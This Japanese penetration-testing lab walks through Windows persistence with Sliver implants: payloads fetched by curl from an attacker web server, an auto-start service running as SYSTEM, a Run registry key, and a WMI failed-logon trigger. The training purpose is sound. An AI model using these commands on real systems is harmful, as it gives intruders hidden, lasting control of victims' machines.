Lab 3.3: 永続化
Offline Exercise
接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。
目的
- Sliverで永続化のための複数のファイルタイプを生成する
- Sliverセッションを作成する永続化サービスを作成する
- 永続化のためのユーザーレジストリキーを作成する
- WMIフィルタを使用してログイン失敗を検出し、永続化をトリガーする
ウォークスルービデオ
ラボのセットアップ
使用するVM:
- Linux
- Windows
ラボ – ステップバイステップの手順
1: 接続を受信するためのSliverのセットアップ
まず、接続を受信するためにSliverをセットアップする必要があります。Sliverを起動します。
コマンド
sudo sliver-server
ポート443
でリスナーをセットアップするために、https
を実行してリスナーを起動します。
コマンド
https
想定される結果
[server] sliver > https
[*] Starting HTTPS :443 listener ...
[*] Successfully started job #1
[server] sliver >
接続を受信するためのSliverのセットアップが完了しました。次に、いくつかのペイロードを生成しましょう。
2: 永続化のためのSliverペイロードの生成
generate
のオプションを見てみましょう。
コマンド
generate -h
想定される結果
[server] sliver > generate -h
...trimmed for brevity...
Flags:
======
-a, --arch string cpu architecture (default: amd64)
-c, --canary string canary domain(s)
-d, --debug enable debug features
-O, --debug-file string path to debug output
-G, --disable-sgn disable shikata ga nai shellcode encoder
-n, --dns string dns connection strings
-e, --evasion enable evasion features (e.g. overwrite user space hooks)
-E, --external-builder use an external builder
-f, --format string Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only) (default: exe)
-h, --help display help
...trimmed for brevity...
service
フォーマットを作成できることに注意してください。このフォーマットはサービスコントローラに適切に応答し、30秒後に終了することはありません。この問題については560.4で詳しく説明します。
2つのペイロードを作成しましょう。1つはサービス用、もう1つは標準の実行可能ファイル用です。
コマンド
注意: LINUX_ETH0_ADDRESS
をSlingshot Linux VMのeth0
IPアドレスに変更してください。
generate --os windows --arch 64bit --skip-symbols --format service --name service --http https://LINUX_ETH0_ADDRESS
generate --os windows --arch 64bit --skip-symbols --format exe --name payload --http https://LINUX_ETH0_ADDRESS
想定される結果
[server] sliver > generate --os windows --arch 64bit --skip-symbols --format service --name service --http https://10.10.10.186
[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 3s
[*] Implant saved to /home/sec560/service.exe
[server] sliver > generate --os windows --arch 64bit --skip-symbols --format exe --name payload --http https://10.10.10.186
[*] Generating new windows/amd64 implant binary
[!] Symbol obfuscation is disabled
[*] Build completed in 2s
[*] Implant saved to /home/sec560/payload.exe
実際のペンテストでは、アクセスを制限し、割り当てられたテストウィンドウが終了した後にペイロードが実行されないようにする必要があるでしょう。その目的のために-w
または--limit-datetime
オプションを使用できます。
ファイルができたので、それらをWindowsに転送する必要があります。
3: Windowsへのファイルの転送
このステップでは新しいターミナルを開きます。
ファイルは現在root
ユーザーが所有しています。ファイルを見て、これを確認しましょう。
コマンド
ls -l *.exe
想定される結果
sec560@560vm:~$ ls -l *.exe
-rwx------ 1 root root 10981376 Aug 16 03:11 payload.exe
-rwx------ 1 root root 10993664 Aug 16 03:11 service.exe
上記のように、ファイルにはrwx
パーミッションがありますが、ファイルの所有者であるroot
のみに付与されています。
exeファイルの所有権をsec560
ユーザーに変更し、ファイルの所有権を確認します。
コマンド
sudo chown sec560:sec560 *.exe
ls -l *.exe
想定される結果
sec560@560vm:~$ sudo chown sec560:sec560 *.exe
sec560@560vm:~$ ls -l *.exe
-rwx------ 1 sec560 sec560 10981376 Aug 16 03:11 payload.exe
-rwx------ 1 sec560 sec560 10993664 Aug 16 03:11 service.exe
次に、Windowsでファイルを取得できるようにWebサーバーを実行する必要があります。PythonのWebサーバーを実行します。
コマンド
python3 -m http.server
想定される結果
sec560@560vm:~$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
次に、Windowsに切り替えて、PowerShellでファイルをダウンロードします。Windows VM(sec560ユーザーとしてログオン)に切り替え、デスクトップのTerminal
ショートカットをクリックしてPowerShellウィンドウを開き、ペイロードファイルをデスクトップにダウンロードします。
コマンド
注意: LINUX_ETH0_ADDRESSをSlingshot Linux VMのeth0
IPアドレスに置き換えてください。
cd Desktop
curl.exe -s http://LINUX_ETH0_ADDRESS:8000/payload.exe -o payload.exe
curl.exe -s http://LINUX_ETH0_ADDRESS:8000/service.exe -o service.exe
想定される結果
PS C:\Users\sec560> cd Desktop
PS C:\Users\sec560\Desktop> curl.exe -s http://192.168.211.128:8000/payload.exe -o payload.exe
PS C:\Users\sec560\Desktop> curl.exe -s http://192.168.211.128:8000/service.exe -o service.exe
これでWindowsにファイルが配置できたので、サービスを使用して最初の永続化を作成しましょう。
4: サービスの永続化
まず、手動でサービスを作成します。sc
コマンドについては560.4で詳しく説明します。今のところ、コマンドをそのまま使用して、persist
という名前のサービスを作成します。
コマンド
sc.exe create persist binpath= "c:\Users\sec560\Desktop\service.exe" start= auto
想定される結果
PS C:\Users\sec560\Desktop> sc.exe create persist binpath= "c:\Users\sec560\Desktop\service.exe" start= auto
[SC] CreateService SUCCESS
PS C:\Users\sec560\Desktop>
「アクセスが拒否されました」というメッセージが表示された場合は、TerminalタブのタイトルにAdministrator:
と表示されていることを確認する必要があります。
永続化メカニズムをテストしましょう。Windows VMを再起動し、Linux VMのsliver
タブに切り替えます。新しいSliverセッションが表示されるはずです。
想定される結果
[*] Session 6392c9a2 service - 10.10.10.165:49686 (SEC560-Windows) - windows/amd64 - Fri, 16 Aug 2024 03:17:13 UTC
sessions -i
を使用してセッションIDの最初の2文字を使用し、このセッションと対話します。この例では6392c9a2
なので、短縮IDの63
を使用します。あなたのセッションIDは異なります!
コマンド
sessions -i 63
想定される結果
[server] sliver > sessions -i 63
[*] Active session service (6392c9a2)
[server] sliver (service) >
whoami
で、どのレベルのアクセス権を持っているか確認しましょう。
コマンド
注意: セッションIDが異なる場合は、1
の代わりにその番号を使用してください。
whoami
想定される結果
[server] sliver (service) > whoami
Logon ID: NT AUTHORITY\SYSTEM
[*] Current Token ID: NT AUTHORITY\SYSTEM
ご覧のとおり、サービスはSYSTEMとして実行され、この永続化メカニズムにより高レベルのアクセス権が得られます。
サービスを停止して削除することで、Windows上でクリーンアップしましょう。
Windows VMデスクトップのTerminal
ショートカットをクリックしてPowerShellウィンドウを開き、次のコマンドでサービスを削除します。
コマンド
sc.exe delete persist
想定される結果
PS C:\Users\sec560> sc.exe delete persist
[SC] DeleteService SUCCESS
ご参考までに、サービスを削除してもSliverのセッションは停止しないことに注意してください。セッションは、Windows側でプロセス(service.exe
)を終了するまで実行され続けます。
5: HKCU Run 永続化
Windows VM上で、以下のreg
コマンドを実行して、現在のユーザーのレジストリキーを作成します。
コマンド
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /t REG_SZ /F /D "C:\Users\sec560\Desktop\payload.exe"
想定される結果
PS C:\Users\sec560> reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /t REG_SZ /F /D "C:\Users\sec560\Desktop\payload.exe"
The operation completed successfully.
コマンドのオプションは次のとおりです:
reg
- 実行するコマンドadd
- キーを追加"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
- キーを追加する場所/V "User Persist"
- キーの名前(値)/t REG_SZ
- 文字列型/F
- 強制、存在する場合は上書き/D "C:\Users\sec560\Desktop\payload.exe"
- データ、実行する実行可能ファイル
代わりにHKLM
(HKEY Local Machine)を使用することもでき、これはシステムにログインするすべてのユーザーに対して機能しますが、このキーを使用するには昇格されたアクセス権が必要です。昇格されたアクセス権を必要としないようにHKCU
(HKEY Current User)を使用しています。
これをテストするには、Windowsからログアウトし、sec560
ユーザーとして再度ログインします。ログインすると、Sliverに新しいセッションが表示されます。これには1〜2分かかる場合があります。
想定される結果
[*] Session b73df7f2 payload - 10.10.10.165:49721 (SEC560-Windows) - windows/amd64 - Fri, 16 Aug 2024 17:17:06 UTC
sessions -i
を使用してセッションIDの最初の2文字を使用し、このセッションと対話します。この例ではb73df7f2
なので、短縮IDのb7
を使用します。あなたのセッションIDは異なります!
コマンド
sessions -i b7
想定される結果
[server] sliver > sessions -i b7
[*] Active session payload (b73df7f2)
[server] sliver (payload) >
whoami
を実行して、現在のアクセス権を確認します。
コマンド
whoami
想定される結果
[server] sliver (payload) > whoami
Logon ID: SEC560-WINDOWS\sec560
[*] Current Token ID: SEC560-WINDOWS\sec560
クリーンアップして、このキーを削除しましょう。PowerShellウィンドウを再度使用して、キーを削除します。
コマンド
reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /F
想定される結果
PS C:\Users\sec560> reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "User Persist" /F
The operation completed successfully.
コマンドのオプションは次のとおりです:
reg
- 実行するコマンドdelete
- キーを削除"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
- キーを削除する場所/V "User Persist"
- キーの名前(値)
6: WMIイベントフィルタ永続化
WMIイベントフィルタを使用すると、ペイロードをトリガーする方法に多くの柔軟性があります。ユーザーfakeuser
のログイン失敗(イベントID 4625)のイベントリスナーをセットアップします。これにより、存在しないユーザーのログイン失敗時にペイロードをトリガーできるようになります!
以下のPowerShellコマンドを使用してフィルタをセットアップします。
セットアップには3つの部分があります。
- 最初に使用するコマンドは、
UPDATER
という名前でイベントフィルタ-Class __EventFilter
をセットアップします。次に、クエリは、ログインがfakeuser
と一致するログイン失敗(イベントID4625
)を探します。 - 2番目の部分は、フィルタが一致したときに何をするかを設定するコンシューマをセットアップします。この場合、
UPDATER
フィルタに一致するものに対して、C:\Users\sec560\Desktop\payload.exe
にあるペイロードを実行させます。 - 最後の部分は、トリガーを探してコンシューマ(ペイロード)を実行するためのバインディングをセットアップします。
ここでのコマンドは非常に複雑です。これらのコマンドを管理者権限のPowerShellプロンプトにコピーして貼り付けてください。
コマンド
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "UPDATER"; Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '4625' And Targetinstance.Message Like '%fakeuser%'"; QueryLanguage = 'WQL'}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "UPDATER"; CommandLineTemplate = "C:\Users\sec560\Desktop\payload.exe"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
これらのコマンドには出力はありません。
フィルタのセットアップが完了したので、Linuxに切り替え、新しいターミナルを開き、smbclient
とfakeuser
でログインを試みます。フィルタがログインを検出するまでに時間がかかる場合があります。最大1分待つ必要があるかもしれません。
コマンド
注意: WINDOWS_ETHERNET0_ADDRESS
をローカルのWindows IPアドレス(10.254.x.xで始まるVPNアドレスではない)に置き換えてください。
smbclient --password=badpassword '\\WINDOWS_ETHERNET0_ADDRESS\c$' -U fakeuser
想定される結果
sec560@560vm:~$ smbclient --password=badpassword '\\10.10.10.165\c$' -U fakeuser
session setup failed: NT_STATUS_LOGON_FAILU
その後、Sliverに新しいセッションが表示されるはずです!
想定される結果
[*] Session a1233cb9 payload - 10.10.10.165:50796 (SEC560-Windows) - windows/amd64 - Fri, 16 Aug 2024 18:06:50 UTC
sessions -i
を使用してセッションIDの最初の2文字を使用し、このセッションと対話します。この例ではa1233cb9
なので、短縮IDのa1
を使用します。あなたのセッションIDは異なります!
コマンド
sessions -i a1
想定される結果
[server] sliver > sessions -i a1
[*] Active session payload (a1233cb9)
もう一度、whoami
でどのユーザーとして実行されているか確認しましょう。
コマンド
whoami
想定される結果
[server] sliver (payload) > whoami
Logon ID: NT AUTHORITY\SYSTEM
[*] Current Token ID: NT AUTHORITY\SYSTEM
これにより、WindowsでのSYSTEMレベルのアクセス権が得られることがわかります。アクセス権を失った場合、新しいセッションを取得するために必要なのは、存在しないfakeuser
として再度ログインを試みることだけです。
ここで使用した方法は手動で少し複雑であり、これがどのように機能するかの基本を理解することが重要です。ただし、これをより簡単に行うための他のオプションもあります:
- Metasploit -
windows/local/wmi_persistence
モジュールを使用 - Empire -
persistence/elevated/wmi
モジュールを使用
開いている既存のPowerShellウィンドウを使用して、このフィルタ、バインディング、およびコンシューマを削除しましょう。
コマンド
# Remove the FilterToConsumerBinding related to 'UPDATER'
$bindings = Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
foreach ($binding in $bindings) {
# Extract the names from the Filter and Consumer properties
if ($binding.Filter -match 'Name="([^"]+)"') { $filterName = $Matches[1] } else { $filterName = '' }
if ($binding.Consumer -match 'Name="([^"]+)"') { $consumerName = $Matches[1] } else { $consumerName = '' }
if ($filterName -eq 'UPDATER' -or $consumerName -eq 'UPDATER') {
# Delete the binding
([WMI]$binding.__PATH).Delete()
}
}
# Remove the Event Filter named 'UPDATER'
$eventFilter = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='UPDATER'"
if ($eventFilter) {
([WMI]$eventFilter.__PATH).Delete()
}
# Remove the Event Consumer named 'UPDATER'
$eventConsumer = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='UPDATER'"
if ($eventConsumer) {
([WMI]$eventConsumer.__PATH).Delete()
}
想定される結果
PS C:\Users\sec560> # Remove the FilterToConsumerBinding related to 'UPDATER'
PS C:\Users\sec560> $bindings = Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
PS C:\Users\sec560>
PS C:\Users\sec560> foreach ($binding in $bindings) {
>> # Extract the names from the Filter and Consumer properties
>> if ($binding.Filter -match 'Name="([^"]+)"') { $filterName = $Matches[1] } else { $filterName = '' }
>> if ($binding.Consumer -match 'Name="([^"]+)"') { $consumerName = $Matches[1] } else { $consumerName = '' }
>>
>> if ($filterName -eq 'UPDATER' -or $consumerName -eq 'UPDATER') {
>> # Delete the binding
>> ([WMI]$binding.__PATH).Delete()
>> }
>> }
PS C:\Users\sec560>
PS C:\Users\sec560> # Remove the Event Filter named 'UPDATER'
PS C:\Users\sec560> $eventFilter = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='UPDATER'"
PS C:\Users\sec560> if ($eventFilter) {
>> ([WMI]$eventFilter.__PATH).Delete()
>> }
PS C:\Users\sec560>
PS C:\Users\sec560> # Remove the Event Consumer named 'UPDATER'
PS C:\Users\sec560> $eventConsumer = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='UPDATER'"
PS C:\Users\sec560> if ($eventConsumer) {
>> ([WMI]$eventConsumer.__PATH).Delete()
>> }
PS C:\Users\sec560>
結論
Windowsシステムへのアクセスを維持するために、さまざまな方法を使用しました。使用するオプションは、アクセスレベルと隠蔽方法の選択によって異なります。永続化を通じてアクセスを維持することは、ペンテストの非常に重要な部分です。アクセスを獲得するために懸命に取り組んだ後にそれを失うことは、すべてのテスターにとってイライラするものです!